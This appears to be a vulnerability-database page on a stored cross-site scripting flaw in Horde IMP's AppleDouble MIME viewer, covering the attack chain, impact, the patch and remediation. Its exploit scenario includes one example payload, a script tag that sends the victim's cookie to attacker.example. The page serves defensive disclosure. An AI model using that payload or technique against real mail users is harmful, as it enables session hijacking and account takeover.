Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft multipart/appledouble email with script payload in MIME part name
-
DeliverySend email to target IMP user
-
ExploitVictim opens message in webmail browser
-
Execution_IMPrender() inserts unsanitized name into HTML
-
PersistJavaScript executes in victim's authenticated session
-
ImpactSession credentials exfiltrated or, if victim is admin, escalation via CVE-2026-58451 to application code execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target must be running Horde IMP version prior to 7.2.0 with the AppleDouble MIME viewer active (the default configuration). The victim must open (render) the crafted email in a browser-based IMP session - a normal and expected user action, not a deliberate security interaction. The CVSS 4.0 vector PR:N confirms the attacker requires no credentials or account on the target system; only the ability to deliver email to the victim's address is needed. Exploitation of the more severe code-execution escalation path additionally requires that the message be viewed in an IMP administrator's session and that CVE-2026-58451 be simultaneously present and exploitable. Stored delivery means the payload fires on every subsequent view of the message, not only the first. |
| Impact | The CVSS 4.0 score of 5.1 with vector AV:N/AC:L/AT:N/PR:N/UI:A reflects a low-complexity, network-delivered attack requiring only that the victim open the message - a routine webmail action, not a deliberate security decision, so the UI:A constraint provides limited real-world protection. The stored XSS nature is an important amplifier absent from the base score: the payload persists and fires on every view, increasing the attack surface beyond a one-time event. A publicly available exploit writeup (blog.evan.lat) substantially narrows the skill gap for exploitation. The most significant risk signal is the researcher's documented escalation chain: script running in an administrator's session can reach a code-execution path via CVE-2026-58451, elevating this from session-hijacking to potential full application compromise - an impact not captured by the CVSS 4.0 score. No CISA KEV listing was identified at time of analysis, so confirmed active exploitation is not established, though the exploit's public availability makes opportunistic targeting plausible. The limited deployment footprint of Horde IMP compared to mainstream webmail platforms constrains aggregate exposure. |
| Exploit ScenarioDerived | An attacker crafts a multipart/appledouble email in which the data part's MIME name parameter contains a JavaScript payload such as <script>fetch('https://attacker.example/?c='+document.cookie)</script>, then sends it to any IMP user. When the victim opens the message in their webmail browser, the unsanitized name is rendered verbatim into the page HTML, executing the script in the victim's authenticated session and enabling cookie theft or further session abuse. A publicly available exploit writeup details this technique and additionally demonstrates chaining with CVE-2026-58451 to reach application-level code execution when an IMP administrator is the victim. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 24, 2026
Stored XSS in Horde IMP's AppleDouble MIME viewer (all versions before 7.2.0) allows any email sender to execute arbitrary JavaScript in a recipient's browser session when they view a crafted message. No account on the target system is required - only the ability to deliver mail - and because the payload persists in the mailbox it can re-execute on every subsequent view. A publicly available exploit exists, and the researcher documents a chained escalation path combining this flaw with CVE-2026-58451 that reaches application code execution when triggered in an IMP administrator's session.
RemediationAI
Upgrade to Horde IMP 7.2.0 or later, which resolves the flaw by applying htmlspecialchars() with ENT_QUOTES to the MIME part name before HTML insertion (patch commit f31449a12e3f945c90015d29524925c4c43f6324, available at https://github.com/horde/imp/commit/f31449a12e3f945c90015d29524925c4c43f6324; release at https://github.com/horde/imp/releases/tag/v7.2.0). If an immediate upgrade is not feasible, disabling the AppleDouble MIME viewer in IMP's MIME viewer configuration prevents the vulnerable code path from executing at the cost of losing rendering support for Mac-format attachments. Deploying a Content-Security-Policy header that prohibits inline scripts (script-src 'self') provides a secondary defense-in-depth layer but may require application-level changes to IMP's own inline scripts and should be tested carefully. Because the escalation to code execution requires CVE-2026-58451 to also be present, patching both vulnerabilities is recommended; the VulnCheck advisory at https://www.vulncheck.com/advisories/horde-imp-before-stored-cross-site-scripting-via-appledouble-viewer-part-name provides further context.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Horde IMP is a PHP webmail application. The vulnerable code is in lib/Mime/Viewer/Appledouble.php, which handles multipart/appledouble MIME messages - a format originating on macOS for encoding resource and data forks as email attachments. The _IMPrender() method calls IMP_Contents::getPartName() to retrieve the name parameter of the data part directly from the raw MIME message, then interpolates that value via sprintf() into an IMP_Mime_Status text entry without any sanitization. IMP_Mime_Status::__toString() concatenates each entry verbatim into surrounding HTML table markup, so attacker-controlled content reaches the rendered page without HTML entity encoding. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), with the trust boundary failure occurring when externally supplied MIME metadata is treated as safe text rather than untrusted data. The patch at commit f31449a12e3f945c90015d29524925c4c43f6324 wraps the value with htmlspecialchars($data_name, ENT_QUOTES, $this->getConfigParam('charset')), resolving the flaw by encoding HTML metacharacters before insertion. Affected CPE: cpe:2.3:a:horde:imp:*:*:*:*:*:*:*:*.
Know when Horde gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Email delivery requires no attacker credentials (PR:N); victim viewing the message satisfies UI:R; XSS executes in browser context distinct from server application (S:C), with low confidentiality and integrity impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Horde IMP's AppleDouble MIME viewer writes an attacker-controlled attachment name into an HTML status block without escaping it. In lib/Mime/Viewer/Appledouble.php, _IMPrender() obtains the name of the data part with IMP_Contents::getPartName(), which returns the MIME part's own name parameter as supplied by the message, and passes it through sprintf into the text of an IMP_Mime_Status object. IMP_Mime_Status::__toString() concatenates each text entry directly into the surrounding table markup, so the value reaches the rendered page verbatim. A message crafted as multipart/appledouble whose data part carries markup in its name parameter therefore executes script in the context of any user who views it, and the payload persists in the mailbox. Exploitation requires no account on the target system, only the ability to send mail to a user. Version 7.2.0 escapes the value with htmlspecialchars(). The researcher additionally chains this flaw with the arbitrary file read of CVE-2026-58451, and reports that script running in an administrator's session can reach an application code-execution path.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The framework/Util/lib/Horde/Variables.php script in the Util library in Horde before 5.1.1 allows remote attackers to c
Horde 3.3.12, Horde Groupware 1.2.10, and Horde Groupware Webmail Edition 1.2.10, as distributed by FTP between November
Horde Groupware Webmail Edition 5.2.22 allows injection of arbitrary PHP code via CSV data, leading to remote code execu
Remote code execution was discovered in Horde Groupware Webmail 5.2.22 and 5.2.17. Rated high severity (CVSS 8.8), this
The File Manager (gollem) module 3.0.11 in Horde Groupware 5.2.21 allows remote attackers to bypass Horde authentication
Horde Trean, as used in Horde Groupware Webmail Edition through 5.2.22 and other products, allows CSRF, as demonstrated
A Remote Code Execution vulnerability has been found in the Horde_Image library when using the "Im" backend that utilize
Horde Groupware Webmail Edition through 5.2.22 allows a reflection injection attack through which an attacker can instan
In Horde_Crypt before 2.7.6, as used in Horde Groupware Webmail Edition through 5.2.17, OS Command Injection can occur i
Multiple cross-site request forgery (CSRF) vulnerabilities in Horde before 5.2.8, Horde Groupware before 5.2.11, and Hor
This vulnerability allows remote attackers to create arbitrary files on affected installations of Horde Groupware Webmai
This vulnerability allows remote attackers to execute local PHP files on affected installations of Horde Groupware Webma
EUVD-2026-64899
GHSA-8wpm-p8h2-x7wh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB